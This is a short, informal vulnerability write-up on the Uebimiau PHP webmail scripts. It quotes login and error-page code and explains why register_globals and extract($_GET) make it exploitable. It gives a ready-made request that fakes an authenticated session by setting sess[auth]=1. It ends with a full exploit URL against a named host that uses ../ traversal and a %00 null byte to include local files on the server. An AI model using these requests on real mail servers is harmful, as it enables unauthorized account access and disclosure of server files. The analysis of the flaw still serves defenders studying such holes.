At first i decided to look login script . Each script includes this code  
  
<?php  
if(strlen($f_pass) > 0) {  
  
..elseif (  
($sess["auth"] && intval((time()-$start)/60) < $idle_timeout)) {  
  
$UM->mail_user = $f_user = $sess["user"];  
$UM->mail_pass = $f_pass = $sess["pass"];  
$UM->mail_server = $f_server = $sess["server"];  
$UM->mail_email = $f_email = $sess["email"];  
  
} else {  
Header("Location: ./index.php?tid=$tid&lid=$lid\r\n");   
exit;   
}   
?>  
  
So , if register_globals on , we can make a request like script.php?f_pass=+toxa+&sess[auth]=1   
to make script think that we are authorized user . Then i looked each script to find something   
interest.  
  
<?php  
define("SMARTY_DIR","./smarty/");  
require_once(SMARTY_DIR."Smarty.class.php");  
$smarty = new Smarty;  
$smarty->compile_dir = $temporary_directory;  
$smarty->security=true;  
$smarty->secure_dir=array("./");  
$smarty->assign("umLanguageFile",$selected_language.".txt");   
?>  
  
Looks great :) But selected_language was already defined . But there was a similar code with EXTRACT.  
So , we can read local files on server !  
  
<?php  
if($phpver >= 4.1) {  
extract($_GET);  
}  
  
$smarty->assign("umSid",$sid);  
$smarty->assign("umLid",$lid);  
$smarty->assign("umTid",$tid);  
  
$smarty->assign("umErrorCode",$err);  
  
$smarty->display("$selected_theme/error.htm");  
?>  
  
http://test1.ru/uebimiau/error.php?f_pass=blackybr&sess[auth]=1&selected_theme=../ksuri.php%00
